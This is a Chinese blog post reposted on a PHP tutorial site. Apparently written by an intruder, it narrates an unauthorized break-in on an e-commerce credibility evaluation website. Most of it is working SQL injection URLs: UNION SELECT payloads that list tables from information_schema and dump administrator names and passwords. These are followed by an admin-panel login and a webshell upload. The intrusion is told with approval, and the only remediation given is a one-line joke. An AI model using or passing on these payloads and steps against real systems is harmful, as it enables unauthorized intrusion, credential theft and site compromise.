网站地图    收藏   

主页 > 后端 > 网站安全 >

一处mysql注入引发的血案 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 渗透某电子商务诚信评价中心0x.1今天在群里边跟别人扯淡,看见别人发来一条信息说。啥电子商务的网站被人挂了txt尔等小菜果断的去围观了 看见别人挂的txt那叫羡慕啊 于是自己也去...

渗透某电子商务诚信评价中心
0x.1
今天在群里边跟别人扯淡,看见别人发来一条信息说。啥电子商务的网站被人挂了txt

尔等小菜果断的去围观了 看见别人挂的txt那叫羡慕啊 于是自己也去试试看能不能日下,于是有了下文
0x.2
来到www.2cto.com  看了看,发现有注入啊.....

http://www.2cto.com /newsShow.php?id=1297836243

先是and 1=1 正常 and 1=2 错误
然后order by 猜字段 是到order by 11 报错了 order by 10正常 证明字段10
现在就到找出位置了

Union select
http://www.2cto.com /newsShow.php?id=1297836243%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10

爆出位置在2,5,3,6

位置爆出来了,我们来查一查他的数据库名吧,为接下来的爆数据库表名做准备
http://www.2cto.com /newsShow.php?id=1297836243%20and%201=2%20UNION%20SELECT%201,database%28%29,3,4,5,6,7,8,9,10
图1

 


爆出库名为ectrust 现在我们来爆表


http://www.2cto.com /newsShow.php?id=1297836243%20and%201=2%20UNION%20SELECT%201,2,3,4,5,concat%28GROUP_CONCAT%28DISTINCT%20table_name%29%29,7,8,9,10%20from%20information_schema.tables%20where%20table_schema=0x65637472757374
0x65637472757374 是ectrust 用小葵就可以转成HEX格式的

成功爆出所有表名
图2


admin_u,binfo,blacklist,com_contact,comments,company_web,complain,download,ec_binfo,ec_blacklist,ec_complain,ec_freeinfo,ec_pinfo,ec_rinfo,ec_trustauth,freeinfo,mk_info,news,news_type,pay,pinfo,precert,report_m,rinfo,scoreblue,scorefree,scorep,scorered,static_info,trustauth
目测admin_u是管理员帐号密码的表 果断的爆出帐号密码

http://www.2cto.com /newsShow.php?id=1297836243%20and%201=2%20UNION%20SELECT%201,name,3,4,5,password,7,8,9,10%20from%20admin_u
图3

 

Google搜索到了后台,果断的登录
图4

 


文件上次可以直接上传.asa的文件 成功写入小马.......
图5




 
..........进去的时候发现好多人放了shell 蛋疼

FROM GUOKER

修复方案:

你懂得 都是注入惹的祸

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论